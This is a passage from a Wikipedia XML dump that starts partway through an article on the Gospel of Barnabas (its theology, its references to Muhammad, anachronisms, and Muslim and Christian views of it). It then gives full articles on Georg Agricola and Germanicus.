It contains an extended polemic against the doctrine of [[predestination]] (Chapter 164), and in favour of [[justification by faith]]; arguing that the eternal destination of the soul to [[Heaven]] or [[Hell]] is neither pre-determined by God's [[divine grace|grace]] (as in [[Calvinism]]), nor the judgement of God, in his mercy, on the faith of believers on Earth (as in orthodox Islam). Instead it states that all those condemned at the [[last judgment]], but who subsequently respond in faith, who demonstrate unfeigned penitence, and who make a free choice of blessedness, will eventually be offered salvation (Chapter 137). Only those whose persistent pride prevents them from sincere repentance will remain forever in Hell. Such radically [[Pelagianism|Pelagian]]  beliefs in the sixteenth century were found amongst the anti-Trinitarian Protestant traditions later denoted as [[Unitarianism]]. Some sixteenth century anti-Trinitarian divines sought to reconcile Christianity, Islam and Judaism; on the basis of very similar arguments to those presented in the Gospel of Barnabas, arguing that if salvation remains unresolved until the end times, then any one of the three religions could be a valid path to heaven for their own believers. The Spaniard, [[Michael Servetus]] denounced the orthodox Christian formulation of the [[Trinity]] (demonstrating the only explicit reference to the Trinity in the New Testament to be a later interpolation); and hoped thereby to bridge the doctrinal divide between Christianity and Islam. In 1553 he was executed in [[Geneva]] under the authority of [[John Calvin]], but his teachings remained very influential amongst Italian Protestant exiles. In the late sixteenth century many anti-Trinitarians, persecuted both by Calvinists and by the Inquisition, sought refuge in [[History of Transylvania|Transylvania]]; then under Turkish overlordship and with close links to Istanbul. (Christopher J. Burchill:''The Heidelberg Antitrinitarians''  Bibliotheca Dissidentium: vol XI, Baden-Baden 1989,308p).

Included in chapter 145 is &quot;The little book of [[Elijah]]&quot;; which sets out instructions for a righteous life of [[Asceticism|ascetisim]] and [[hermit|eremetic]] spirituality.  Over the succeeding 47 chapters, Jesus is recorded as developing the theme that the ancient [[Prophet|prophets]], specifically [[Obadiah]], [[Haggai]] and [[Hosea]], were holy hermits following this religious rule; and contrasting their followers - termed &quot;true Pharisees&quot; - with the &quot;false [[Pharisees]]&quot; who lived in the world, and who constituted his chief opponents. The &quot;true Pharisees&quot; are said to congregate on [[Mount Carmel]]. This accords with the teaching of the medieval [[Carmelites]], who lived as an eremetic congregation on Carmel in the [[13th Century]]; but who claimed (without any evidence) to be direct successors of Elijah and the [[Old Testament]] prophets.  In [[1291]] the [[Mamluk]] advance into [[Syria]] compelled the friars on Carmel to abandon their monastery; but on dispersing through Western Europe they found that the Western Carmelite congregations - especially in Italy - had largely abandoned the eremetic and ascetic ideal, adopting instead the conventual life and mission of the other [[Mendicant orders]]. Some students consider that the ensuing 14th-16th Century controversies can be found reflected in the text of the Gospel of Barnabas.           

The Gospel also takes a strongly anti-Pauline tone at times, saying in the Italian version's beginning: &quot;many, being deceived of Satan, under pretence of piety, are preaching most impious doctrine, calling Jesus son of God, repudiating the circumcision ordained of God for ever, and permitting every unclean meat: among whom also Paul has been deceived.&quot;

===Prediction of Muhammad===
The Gospel of Barnabas claims that Jesus predicted the advent of Muhammad, thus conforming with the Qur'an which mentions:

: &quot;And remember, Jesus, the son of Mary, said: O Children of Israel! I am the apostle of Allah (sent) to you, confirming the Law (which came) before me, and giving Glad Tidings of an Messenger to come after me, whose name shall be Ahmad. But when he came to them with Clear Signs, they said, this is evident sorcery!&quot; ([[Sura 61]]:[http://www.islamicity.com/mosque/QURAN/61.htm 6]) 

(Ahmad is another name of Muhammad.) More traditionally, Muslim scholars regard the New Testament's mentions of the Paraclete (John 14:16, 14:26, 15:26, 16:7) as referring to Muhammad.  The Greek word &quot;[[paraclete]]&quot; is translated &quot;Counsellor&quot; and refers to the [[Holy Spirit]].  This similar to the Greek &quot;periklutos&quot; which can be translated as &quot;Ahmad.&quot;

The name of &quot;Muhammad&quot; is frequently mentioned verbatim in the Gospel of Barnabas, as in the following quote:
: &quot;Jesus answered: `The name of the Messiah is admirable, for God himself gave him the name when he had created his soul, and placed it in a celestial splendour. God said: &quot;Wait Mohammed; for thy sake I will to create paradise, the world, and a great multitude of creatures, whereof I make thee a present, insomuch that whoso bless thee shall be blessed, and whoso shall curse thee shall be accursed. When I shall send thee into the world I shall send thee as my messenger of salvation, and thy word shall be true, insomuch that heaven and earth shall fail, but thy faith shall never fail.&quot; Mohammed is his blessed name.' Then the crowd lifted up their voices, saying: `O God, send us thy messenger: O Admirable One, come quickly for the salvation of the world!'&quot; [http://www.barnabas.net/barnabasP97.html Barnabas 97:9-10]. The Italian manuscript replaces &quot;Admirable One&quot; with &quot;Muhammad&quot; [http://www.latrobe.edu.au/arts/barnabas/Barncoloured5.html].

However, while there are many passages where the Gospel of Barnabas sets out alternative readings to parallel [[pericope]]s found in the canonical gospels, none of the references to Muhammad by name occurs in such a [[synoptic]] passage; and in particular, none of the &quot;Muhammad&quot; references in Barnabas corresponds to a &quot;Paraclete&quot; reference in canonical John.  There is only one instance where the Gospel of Barnabas might be understood as &quot;correcting&quot; a known canonical pericope, so as to record a prophecy by Jesus of the (unnamed) Messenger of God:

: Then Jesus said: &quot;I am a voice that cries through all Judea, and cries: &quot;Prepare you the way for the messenger of the Lord,&quot; even as it is written in Esaias.&quot; They said: &quot;If you be not the Messiah nor Elijah, or any prophet, wherefore do you preach new doctrine, and make yourself of more account than the Messiah?&quot; Jesus answered: &quot;The miracles which God works by my hands show that I speak that which God wills; nor indeed do I make myself to be accounted as him of whom you speak. For I am not worthy to unloose the ties of the hosen or the ratchets of the shoes of the Messenger of God whom you call &quot;Messiah,&quot; who was made before me, and shall come after me, and shall bring the words of truth, so that his faith shall have no end.&quot; (Chapter 43):

This passage corresponds closely with the canonical John 1:19-30, except that in that passage, the words are spoken by John the Baptist (in the Qur'an; Yahya ibn Zakariya) and refer to Jesus. 

====Muhammad as the Messiah====
According to one version of the Gospel of Barnabas:

:'Then said the priest: &quot;How shall the Messiah be called?&quot; {Jesus answered} &quot;Muhammed is his blessed name&quot; ' (ch. 97).

and

: Jesus confessed, and said the truth: &quot;I am not the Messiah.&quot; (ch. 42:2)

As mentioned above, these pronouncements appear to contradict Islamic belief. However, the well-known Muslim debater [[Ahmed Deedat]] argues that, since &quot;Messiah&quot; merely means &quot;anointed&quot;, it can be attributed to any prophet, and Jesus would have meant Muhammad was anointed by God.

However, regarding ''[[messiah]]'' as synonymous with ''anointed'' is inconsistent with the complex connotations of ''messiah'' by the Jews of the first century.  See [[Messiah]].  ''Messiah'' referred to an individual; two people could not both be ''the'' Messiah.  The Messiah would be a Jewish leader, fighting with the Jews to restore them to a secure nation.  Islam does not attribute any of this to Muhammad. 

If the author of the Gospel of Barnabas was had experience in a Christian community, he would understand the meaning of ''messiah'' differently.  In [[Christendom]], it has taken the connotation of a prophecied ruler who saves believers from damnation.  This description fits well with Muslims' view of Muhammad. (Note that Muslims do not believe Muhammad is a savior the way Christians believe Jesus to be; Muhammad reveals the Qur'an which allows Muslims to escape hell.)

====Ishmaelite Messiah====
According to one version of the Gospel of Barnabas, Jesus denied being the Messiah, claiming rather that the Messiah would be Ishmaelite (ie Arab):

: &quot;Whereupon Jesus said: 'Ye deceive yourselves; for David in spirit calleth him lord, saying thus: &quot;God said to my lord, sit thou on my right hand until I make thine enemies thy footstool. God shall send forth thy rod which shall have lordship in the midst of thine enemies.&quot; If the messenger of God whom ye call Messiah were son of David, how should David call him lord? Believe me, for verily I say to you, that the promise was made in Ishmael, not in Isaac.'&quot; ([http://www.barnabas.net/barnabasP43.html Barnabas 43]:10)

Hajj Sayed (Senior Member in [http://www.islamic-message.net CIMS]), in his new book in [[Egypt]], compares this to the following statement from the canonical Bible:

: &quot;What do you think about the Christ? Whose son is he?&quot; &quot;The son of David,&quot; they replied. He said to them, &quot;How is it then that David, speaking by the Spirit, calls him 'Lord'? For he says, 'The Lord said to my Lord: &quot;Sit at my right hand until I put your enemies under your feet.' If then David calls him 'Lord,' how can he be his son?&quot; ([http://www.biblegateway.com/passage/?search=mat%2022.42-46;&amp;version=31; Matthew 22:42-46])

According to the canonical Gospels, Jesus was the &quot;son&quot; (descendant) of David; thus, Hajj Sayed argues that this statement confirms the Gospel of Barnabas' point.

The idea of the Messiah as an Arab is also found in another chapter of Gospel of Barnabas:

: &quot;If I work iniquity, reprove me, and God will love you, because you shall be doing his will, but if none can reprove me of sin it is a sign that you are not sons of Abraham as you call yourselves, nor are you incorporate with that head wherein Abraham was incorporate. As God lives, so greatly did Abraham love God, that he not only brake in pieces the false idols and forsook his father and mother, but was willing to slay his own son in obedience to God. 

: The high priest answered: &quot;This I ask of you, and I do not seek to slay you, wherefore tell us: Who was this son of Abraham?&quot; Jesus answered: &quot;The zeal of your honour, O God, inflames me, and I cannot hold my peace. Truly I say, the son of Abraham was Ishmael, from whom must be descended the Messiah promised to Abraham, that in him should all the tribes of the earth be blessed.&quot; Then was the high priest wroth, hearing this, and cried out: &quot;Let us stone this impious fellow, for he is an Ishmaelite, and has spoken blasphemy against Moses and against the Law of God.&quot; ([http://www.barnabas.net/barnabasP208.html Barnabas 208]:1-2)

Here, one version of the Gospel of Barnabas also quotes Jesus as saying that the sacrificed son of Abraham was Ishmael not Isaac, conforming to Islamic belief but disagreeing with Jewish and Christian belief. A connection might also be drawn between the last paragraph's statement that &quot;in him should all the tribes of the earth be blessed&quot;, and the meaning of the name &quot;Muhammad&quot;, the &quot;Praised (or Blessed) One&quot;. (Cf.[http://www.geocities.com/islamicmessage/lopm/00cntnts.htm Life of Prophet Muhammad]).

===Jesus not God or Son of God===
According to the Gospel of Barnabas, Jesus foresaw and rejected his own deification:

: And having said this, Jesus smote his face with both his hands, and then smote the ground with his head. And having raised his head, he said: &quot;Cursed be every one who shall insert into my sayings that I am the son of God&quot; ([http://www.barnabas.net/barnabasP53.html 53]:6)

: And having said this Jesus went out of the Temple. And the common people magnified him, for they brought all the sick folk whom they could gather together, and Jesus having made prayer gave to all their health: whereupon on that day in Jerusalem the Roman soldiery, by the working of Satan, began to stir up the common people, saying that Jesus was the God of Israel, who was come to visit his people.&quot; ([http://www.barnabas.net/barnabasP69.html 69]:6)
 
: Jesus answered: &quot;And you; what say you that I am?&quot; Peter answered: &quot;You are Christ, son of God&quot;. Then was Jesus angry, and with anger rebuked him, saying: &quot;Begone and depart from me, because you are the devil and seek to cause me offences&quot; ([http://www.barnabas.net/barnabasP70.html 70]:1)

: Jesus said again: &quot;I confess before heaven, and call to witness everything that dwells upon the earth, that I am a stranger to all that men have said of me, to wit, that I am more than man. For I am a man, born of a woman, subject to the judgment of God; that live here like as other men, subject to the common miseries&quot; ([http://www.barnabas.net/barnabasP94.html 94]:1)

: Then answered the priest, with the governor and the king, saying: &quot;Distress not yourself, O Jesus, holy one of God, because in our time shall not this sedition be any more, seeing that we will write to the sacred Roman senate in such wise that by imperial decree none shall any more call you God or son of God.&quot; Then Jesus said: &quot;With your words I am not consoled, because where you hope for light darkness shall come; but my consolation is in the coming of the Messenger, who shall destroy every false opinion of me, and his faith shall spread and shall take hold of the whole world, for so has God promised to Abraham our father.&quot; ([http://www.barnabas.net/barnabasP97.html 97]:1)

This conforms entirely with Muslim belief, according to which Jesus is a prophet and will come back to earth in the future and declare to the world that he is &quot;a Servant of God&quot;. According to Imam Anwar Al-Awlaki in his audio lessons [http://www.al-basheer.com Lives of the Prophets], the first thing that prophet [[Isa|Jesus]] said when he was in the cradle &quot;I am a servant of God&quot;, and the first thing that Jesus will say when he will come back to earth will be the same &quot;I am a servant of God&quot;. According to the Qur'an:
: At length she brought the (babe) to her people, carrying him (in her arms). They said: &quot;O Mary! truly an amazing thing hast thou brought! O sister of Aaron! Thy father was not a man of evil, nor thy mother a woman unchaste!&quot; But she pointed to the babe. They said: &quot;How can we talk to one who is a child in the cradle? He said: &quot;I am indeed a servant of Allah (God). He hath given me revelation and made me a prophet; And He hath made me blessed wheresoever I be, and hath enjoined on me Prayer and Charity as long as I live; (He) hath made me kind to my mother, and not overbearing or miserable; So peace is on me the day I was born, the day that I die, and the day that I shall be raised up to life (again)&quot;! Such (was) Jesus the son of Mary: (it is) a statement of truth, about which they dispute. It is not befitting to (the majesty of) Allah (God) that He beget a son. Glory be to Him! when He determines a matter, He only says to it, &quot;Be&quot;, and it is. ([[Maryam (sura)|Mary]]:27-35)

===Paul and Barnabas===
Hajj Sayed argues that Galatians's description of the dispute between Paul and Barnabas supports the idea that the Gospel of Barnabas existed at the time of Paul. Blackhirst has suggested, by contrast, that Galatian's account of this argument could be the reason the gospel's writer attributed it to Barnabas.[http://www.depts.drew.edu/jhc/Blackhirst_Barnabas.html] Paul writes in ([http://www.bbintl.org/bible/niv/nivGal2.html Galatians Chapter 2]):

: &quot;When Peter came to Antioch, I opposed him to his face, because he was clearly in the wrong. Before certain men came from James, he used to eat with the Gentiles. But when they arrived, he began to draw back and separate himself from the Gentiles because he was afraid of those who belonged to the circumcision group. The other Jews joined him in his hypocrisy, so that by their hypocrisy even Barnabas was led astray.&quot; ([http://www.bbintl.org/bible/niv/nivGal2.html Galatians 2]:11-14)

Paul was attacking Peter and Barnabas for &quot;trying to satisfy the Jews&quot; by sticking to their laws, such as circumcision. This shows that, at that point, Barnabas was following Peter and disagreeing with Paul. Some feel it also suggests that the inhabitants of Galatia at his time were using a gospel or gospels disagreeing with Paul's beliefs, which Gospel of Barnabas could be one of them (although the [[Gospel of Peter]] would seem a more natural candidate, as in the light of the second letter.) To Galatian's account we may compare the Introductory Chapter of Gospel of Barnabas, where we read:

: &quot;Dearly beloved the great and wonderful God hath during these past days visited us by his prophet Jesus Christ in great mercy of teaching and miracles, by reason whereof many, being deceived of Satan, under presence of piety, are preaching most impious doctrine, calling Jesus son of God, repudiating the circumcision ordained of God for ever, and permitting every unclean meat: among whom also Paul hath been deceived, whereof I speak not without grief; for which cause I am writing that truth which I have seen and heard, in the intercourse that I have had with Jesus, in order that ye may be saved, and not be deceived of Satan and perish in the judgment of God. Therefore beware of every one that preacheth unto you new doctrine contrary to that which I write, that ye may be saved eternally.&quot; ([http://www.barnabas.net/barnabasP1.html Introduction To Gospel of Barnabas])

In this context, supporters also note that Peter was from the original 12 [[apostle|disciples of Jesus]], and Barnabas was one of the early disciples of Jesus, while Paul, a Roman, haven't lived with Jesus, and had been accustomed to persecute his followers before his conversion.

: [[Acts of the Apostles|Acts]] 9:26: &quot;And when Saul ( Paul ) was come to Jerusalem he assayed to join himself to the disciples, but they were all afraid of him and believed not that he was a disciple. But Barnabas took him and, brought him to the Apostles.&quot;

From the previous passages, we can also infer that in the beginning, Paul and Barnabas were getting along with each other; however, at the end, they started to depart in their beliefs.

In conclusion, some Muslim scholars believe that those differences between the Gospel of Barnabas and the belief of Paul might be the reason that the Gospel of Barnabas and other gospels were not added to the New Testament.

===Other Differences between GoB and the Bible===

* According to the following quote, Jesus talked to Barnabas and gave him a &quot;secret&quot;:
: Jesus, weeping, said: &quot;O Barnabas, it is necessary that I should reveal to you great secrets, which, after that I shall be departed from the world, you shall reveal to it.&quot; Then answered he that writes, weeping, and said: &quot;Suffer me to weep, O master, and other men also, for that we are sinners. And you, that are a holy one and prophet of God, it is not fitting for you to weep so much.&quot; 
: Jesus answered: &quot;Believe me, Barnabas that I cannot weep as much as I ought. For if men had not called me God, I should have seen God here as he will be seen in paradise, and should have been safe not to fear the day of judgment. But God knows that I am innocent, because never have I harboured thought to be held more than a poor slave. No, I tell you that if I had not been called God I should have been carried into paradise when I shall depart from the world, whereas now I shall not go thither until the judgment. Now you see if I have cause to weep. 
: Know, O Barnabas, that for this I must have great persecution, and shall be sold by one of my disciples for thirty pieces of money. Whereupon I am sure that he who shall sell me shall be slain in my name, for that God shall take me up from the earth, and shall change the appearance of the traitor so that every one shall believe him to be me; nevertheless, when he dies an evil death, I shall abide in that dishonour for a long time in the world. But when Muhammad shall come, the sacred Messenger of God, that infamy shall be taken away. And this shall God do because I have confessed the truth of the Messiah who shall give me this reward, that I shall be known to be alive and to be a stranger to that death of infamy.&quot; 

* Also according to GoB, Jesus charged Barnabas to write the gospel:
: Jesus turned himself to him who writes, and said: &quot;Barnabas, see that by all means you write my gospel concerning all that has happened through my dwelling in the world. And write in a similar manner that which has befallen Judas, in order that the faithful may be undeceived, and every one may believe the truth.&quot;

==Anachronisms==
Some readers have noted that the ''Gospel of Barnabas'' contains a number of apparent [[anachronism]]s and historical incongruities: 

* It has Jesus sailing across the Sea of [[Galilee]] to [[Nazareth]] - which is actually inland; and from thence going &quot;up&quot; to [[Capernaum]] - which is actually on the lakeside (chapters 20-21); though this is contested by [http://www.bendigo.latrobe.edu.au/sae/arts/barnabas/criticism.html Blackhirst], who says that the traditional location of Nazareth is itself questionable).

* Jesus is said to have been born during the rule of [[Pontius Pilate]], which began after the year [[26]]. 

* Barnabas appears not to realize that '[[Christ]]' and '[[Messiah]]' are translations of the same word (''christos''), describing Jesus as &quot;Jesus Christ&quot; yet claiming that 'Jesus confessed and said the truth, &quot;I am not the Messiah&quot;' (ch. 42). 

* There is reference to a [[jubilee (Christian)|jubilee]] which is to be held every hundred years (Chapter 82), rather than every fifty years as described in [[Leviticus]]: 25. This anachronism appears to link the Gospel of Barnabas to the declaration of a Holy Year in [[1300]] by [[Pope Boniface VIII]]; a Jubilee which he then decreed should be repeated every hundred years.  In [[1343]] the interval between Holy Years was reduced by [[Pope Clement VI]] to fifty years.   

* Adam and Eve eat an apple (ch. 40); whereas the traditional association of the Fruit of the Tree of Good and Evil (Genesis: 2) with the apple, rests on the translation of the Hebrew Bible into Latin, where both 'apple' and 'evil' are rendered as 'malum'. 

* The Gospel talks of wine being stored in wooden casks - as characteristic of Gaul and Northern Italy (chapter 152); whereas wine in 1st Century Palestine was stored in wineskins and jars (Amphorae).  The Pedunculate or English Oak (quercus robur) does not grow in Palestine; and the wood of other species is not sufficiently airtight to be used in wine casks, 

* In Chapter 91, the &quot;Forty Days&quot; is referred to as an annual fast.  This corresponds to the Christain tradition of fasting for forty days in [[Lent]]; a practice that is not witnessed earlier than the [[Council of Nicea]] ([[325]]). Nor is there a forty days fast in Judaism of the period (see Mishnah, Tractate: Taanith &quot;''Days of Fasting''&quot;) 

* Where the Gospel of Barnabas includes quotations from the Old Testament, these correspond to readings as found in the Latin [[Vulgate]]; rather than as found in either the Greek [[Septuagint]], or the Hebrew [[Masoretic Text]]. 

* Ch. 91 records three contending Jewish armies 200,000 strong at Mizpeh, totalling 600,000 men, at a time when the Roman army across the entire Empire had a total strength estimated as 300,000.

Other readers point out that the canonical gospels are not without anachronisms (as in Luke 2:3, where [[Quirinius]]'s governorship of Syria overlaps unhistorically with the reign of [[Herod the Great]]); nor are they without comparable incongruities (as in the account of the Trial of Jesus before the [[Sanhedrin]] in the Gospels of Mark and Matthew, which both state this as taking place - unhistorically - on the night of the [[Passover]] festival).

==Islamic perspectives==
Some Islamic organizations cite this work in support of the Islamic view of Jesus; in particular, the noted Muslim thinkers [[Rashid Rida]] in Egypt and [[Sayyid Abul Ala Maududi]] in [[Pakistan]] have given it qualified acceptance (though the latter rejects its naming of Muhammad as an interpolation.) While some Muslim scholars also agree that this Gospel of Barnabas is fabricated or has been changed over time, others believe that Barnabas himself wrote the Gospel, whereas the Gospels of Matthew, Mark, Luke and John were written by followers of Paul long after the events they describe, and that therefore the Gospel of Barnabas is more authentic than the other Gospels. Some Muslims take a position between these poles, suggesting that, while the work contains &quot;Muslim interpolations&quot;[http://www.answering-christianity.com/answersamgreen.htm], it nonetheless consists mainly of early material that contradicts Christian traditions and confirms Muslim beliefs.

Although the Gospel of Barnabas is, in several respects, inconsistent with Islamic teaching, some Muslim scholars cite this as evidence of the genuineness of the gospel by arguing that no Muslim would fake a document and have it contradict the Qur'an. They believe the contradictions of the Qur'an in the Gospel of Barnabas are signs of textual corruption (which Muslims already ascribe for a majority of the [[Bible]].) The difference is that the Gospel of Barnabas is not ''as corrupt'' as other religious works, and still maintains the truth about Jesus not being crucified and not being God or son of God.

==External links and text==
*Lonsdale &amp; Laura Ragg, ''The Gospel of Barnabas'', Oxford: Clarendon Press, 1907. ISBN 1881316157.
*[http://www.latrobe.edu.au/arts/barnabas/Entry.html R. Blackhirst, &quot;The Medieval Gospel of Barnabas&quot;]: Full text of the Italian ms of ''Gospel of Barnabas'', (in English), with supplementary material and photographs
** [http://www.latrobe.edu.au/arts/barnabas/Spanishpreface.html Preface of the Spanish manuscript]
** [http://www.latrobe.edu.au/arts/barnabas/Bibliog.html Bibliography]
* [http://www.depts.drew.edu/jhc/Blackhirst_Barnabas.html Blackhirst, &quot;Was there an early Gospel of Barnabas?&quot;]

{{col-begin}}
{{col-break}}
===Christian perspectives===
*[http://answering-islam.org/Green/barnabas.htm Samuel Green] identifies this as a 14th century Islamic forgery.
*[http://answering-islam.org/Barnabas/saleeb.html Extracts from the preface of ''Answering Islam: The Crescent in the Light of the Cross''] (Norman L. Geisler and Abdul Saleeb)
* [http://www.chrislages.de/barnarom.htm The ''Gospel of Barnabas'' in recent research], by Jan Slomp, a former missionary to Pakistan
*[http://folk.uio.no/leirvik/tekster/Barnabas.htm ''History as a Literary Weapon:The Gospel of Barnabas in Muslim-Christian Polemics'']Oddbjørn Leirvik: a historical survey of both Christian and Islamic perspectives.

{{col-break}}
===Islamic perspectives===
* [http://www.mlife.org/bible_kjv/historyofbarnabas.html The History of the Gospel of Barnabas]
* [http://www.barnabas.net/ ''Gospel of Barnabas'']
* [http://www.understanding-islam.com/related/text.asp?type=article&amp;aid=174 The Gospel of Barnabas&amp;mdash;Abdul Sattar Ghauri]
* [http://www.answering-christianity.com/answersamgreen.htm Answer to the &quot;Answers&quot; of Samuel Green 1-6] by Shamsuddin
{{col-end}}

[[Category:Christian texts]]
[[Category:Pseudepigraphy]]

[[ar:إنجيل برنابا]]
[[de:Barnabasevangelium]]
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    </revision>
  </page>
  <page>
    <title>Georg Agricola</title>
    <id>12475</id>
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      <text xml:space="preserve">[[image:Georg_Agricola.jpg|thumb|150px|Georg Agricola]]

'''Georg''' (or '''Georgius''') '''Agricola''' ([[March 24]], [[1490]] - [[November 21]], [[1555]]) was a [[Germany|German]] scholar and man of science. Known as &quot;the father of [[mineralogy]]&quot;, he was born at [[Glauchau]] in [[Saxony]]. His real name was '''Georg Bauer'''; ''Agricola'' is the [[Latin]]ised version of his name, ''Bauer'' meaning ''peasant''.

Gifted with a precocious intellect, he early threw himself into the pursuit of the &quot;new learning,&quot; with such effect that at the age of twenty he was appointed Rector extraordinarius of Greek at the so-called Great School of [[Zwickau]], and made his appearance as a writer on [[philology]].  After two years he gave up his appointment in order to pursue his studies at [[Leipzig]], where, as rector, he received the support of the professor of classics, [[Peter Mosellanus]] (1493-1524), a celebrated humanist of the time, with whom he had already been in correspondence.  Here he also devoted himself to the study of [[medicine]], [[physics]], and [[chemistry]].  After the death of Mosellanus he went to [[Italy]] from 1524 to 1526, where he took his doctor's degree.

He returned to Zwickau in [[1527]], and was chosen as town physician at [[Joachimsthal]], a centre of mining and smelting works, his object being partly &quot;to fill in the gaps in the art of healing,&quot; partly to test what had been written about mineralogy by careful observation of ores and the methods of their treatment.  His thorough grounding in philology and philosophy had accustomed him to systematic thinking, and this enabled him to construct out of his studies and observations of minerals a logical system which he began to publish in 1528. Agricola's dialogue ''Bermannus, sive de re metallica  dialogus'', (1530) the first attempt to reduce to scientific order the knowledge won by practical work, brought Agricola into notice; it contained an approving letter from [[Erasmus Alberus|Erasmus]] at the beginning of the book. 

In 1530 [[Maurice, Elector of Saxony|Prince Maurice of Saxony]] appointed him [[historiographer]] with an annual allowance, and he migrated to [[Chemnitz]], the centre of the mining industry, in order to widen the range of his observations.  The citizens showed their appreciation of his learning by appointing him town physician in 1533. In that year, he published a book about Greek and Roman weights and measures, ''De Mensuis et Ponderibus''. 

He was also elected [[burgomaster]] of Chemnitz.  His popularity was, however,  short-lived.  Chemnitz was a violent centre of the Protestant movement, while Agricola never wavered in his allegiance to the old religion; and he was forced to resign his office.  He now lived apart from the contentious movements of the time, devoting himself wholly to learning.  His chief interest was still in mineralogy; but he occupied himself also with medical, mathematical, theological and historical subjects, his chief historical work being the ''Dominatores Saxonici a prima origine ad hanc aetatem'', published at [[Freiberg, Saxony|Freiberg]]. In 1544 he published the ''De ortu et causis subterraneorum'', in which he laid the first foundations of a physical [[geology]], and criticized the theories of the ancients.  In 1545 followed the ''De natura eorum quae effluunt e terra''; in 1546 the ''De veteribus et novis metallis'', a comprehensive account of the discovery and occurrence of minerals; in 1548 the ''De animantibus subterraneis''; and 
in the two following years a number of smaller works on the 
metals.

His most famous work, the ''De re metallica libri xii'', was published in [[1556]], though apparently finished several years before, since the dedication to the elector and his brother is dated 1550.  It is a complete and systematic treatise on mining and [[metallurgy]], illustrated with many fine and interesting woodcuts and containing, in an appendix, the German equivalents for the technical terms used in the Latin text.  It long remained a standard work, and marks its author as one of the most accomplished chemists of his 
time.  Believing the black rock of the [[Schlossberg]] at [[Stolpen]] to be the same as [[Pliny the Elder]]'s [[basalt]], he applied this name to it, and thus originated a petrological term which has been permanently incorporated in the vocabulary of science. 

In spite of the early proof that Agricola had given of the tolerance of his own religious attitude, he was not suffered to end his days in peace.  He remained to the end a staunch Catholic, though all Chemnitz had gone over to the Lutheran  creed; and it is said that his life was ended by a fit of [[apoplexy]] brought on by a heated discussion with a Protestant divine.  He died at Chemnitz on the 21st of November 1555, and so violent was the theological feeling against him, that he was not suffered to rest in the town to which he had added lustre.  Amidst hostile demonstrations he was carried to [[Zeitz]], seven miles (prussian land miles, each about 7.5 km) from Chemnitz, and there buried. 

''De Re Metallica'' is considered a classic document of the dawn of metallurgy, unsurpassed for two centuries. 1n 1912, the ''Mining Magazine'' (London) published an English translation. The translation was made by an American mining engineer, [[Herbert Hoover]], nowadays better known for his later career as a [[President of the United States]], and his wife [[Lou Henry Hoover]].

==External links==
* [http://archimedes.mpiwg-berlin.mpg.de/cgi-bin/toc/toc.cgi?step=thumb&amp;dir=agric_remet_001_la_1556 De Re Metallica ]
* [http://www.rhosybolbach.freeserve.co.uk/agricola.htm a biography]

==References==
*{{1911}}
*[http://www.newadvent.org/cathen/01231a.htm Article from the Catholic Encyclopedia]

[[Category:1490 births|Agricola, Georg]]
[[Category:1555 deaths|Agricola, Georg]]
[[Category:German mineralogists|Agricola, Georg]]
[[Category:Philologists|Agricola, Georg]]

[[cs:Georgius Agricola]]
[[de:Georgius Agricola]]
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[[no:Georgius Agricola]]
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[[zh:阿格里科拉]]</text>
    </revision>
  </page>
  <page>
    <title>Greek Architecture</title>
    <id>12476</id>
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      <comment>update redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Architecture of Ancient Greece]]</text>
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  </page>
  <page>
    <title>Germanicus</title>
    <id>12478</id>
    <revision>
      <id>41792537</id>
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      <comment>robot  Adding: eu</comment>
      <text xml:space="preserve">[[Image:Germanicus.jpg|right|300px|thumb|Bust of Germanicus.]]
'''Iulius Caesar Claudianus Germanicus''', possibly '''Nero Claudius Drusus Germanicus''' or '''Tiberius Claudius Nero Germanicus''' before adoption ([[24 May]] [[15 BC]]&amp;ndash;[[October 10]],[[19|AD 19]]) was a member of the [[Julio-Claudian dynasty]] of the early [[Roman Empire]].

Germanicus' parents were [[Nero Claudius Drusus]], son of [[Livia Drusilla]], wife of [[Caesar Augustus]], and [[Antonia Minor]], daughter of [[Marc Antony]] and [[Octavia]], sister of Caesar Augustus. [[Claudius]] was his brother. Germanicus married [[Agrippina the Elder]], a granddaughter of Augustus, who gave him nine children. Two died whilst very young, another Gaius Iulius Caesar died in early childhood. The other six survived to grown age: 
* [[Julia Livilla]]
* [[Drusilla]]
* [[Agrippina the Younger]], mother of the emperor [[Nero]] 
* [[Drusus Caesar]] and [[Nero Caesar]], assassinated by [[Tiberius]]
* Gaius Caesar ([[Caligula]]), who became emperor

Germanicus was very popular among the citizens of [[Rome]], who celebrated enthusiastically all his victories. He was also a favourite with Augustus, his grandfather in law, who, for some time, considered him as heir to the Empire. In [[4]], he finally decided in favour of [[Tiberius]], his stepson, but compelled him to adopt Germanicus as a son and name him his heir. 

Germanicus assumed several military commands leading the army in the campaigns in [[Pannonia]] and [[Dalmatia]]. He is recorded to be an excellent soldier and inspired leader, loved by the [[Roman legion|legions]]. In the year [[12]] he was appointed [[consul]] after five mandates as [[quaestor]].

After the death of Augustus in [[14]], the [[Roman Senate|Senate]] appointed Germanicus commander of the forces in [[Germania]]. A short time after, the legions rioted on the news that the succession befell on the unpopular Tiberius. Refusing to accept this, the rebel soldiers cried for Germanicus as emperor. But he chose to honor Augustus' choice and put an end to the mutiny, preferring to continue only as a general. In the next two years, he subdued the Germanic tribes east of the [[Rhine]], and assured their defeat in the [[Battle of the Weser River]] in [[16]]. Whilst on the Rhine frontier, Germanicus found the remains of the three legions massacred in the [[Battle of the Teutoburg Forest]] in [[9]], buried them with high honors and recovered two of the legion's eagles.

After the victories in Germania, which gave him the appellative &quot;Germanicus&quot;, he was sent to [[Asia Province|Asia]], where in the year [[18]] he defeated the kingdoms of [[Cappadocia]] and [[Commagena]], turning them into [[Roman provinces]]. 

In the following year, Germanicus died in [[Antioch]], [[Syria (Roman province)|Syria]]. His death was surrounded with speculations, and several sources refer to claims that he was poisoned by [[Gnaeus Calpurnius Piso]], governor of Syria, under orders of the emperor Tiberius. This was never proven and Piso later commits suicide, but [[Suetonius]] suggests Tiberius' jealousy and fear of his adopted son's popularity and increasing power as a motive.

The death of Germanicus in what can only be described as dubious circumstances greatly destabilized Tiberius in Rome, leading to increased paranoia and the creation of a climate of fear in Rome itself. 

==See also==
*[[Julio-Claudian family tree]]

== External links ==
{{Commons|Germanicus}}

[[Category:15 BC births]]
[[Category:19 deaths]]
[[Category:Ancient Romans]]
[[Category:Roman generals]]
[[Category:Julio-Claudian Dynasty]]

[[be:Германікус]]
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[[hu:Germanicus]]
[[nl:Germanicus Julius Caesar]]
[[ja:ゲルマニクス]]
[[pl:Germanik]]
[[pt:Germânico]]</text>
    </revision>
  </page>
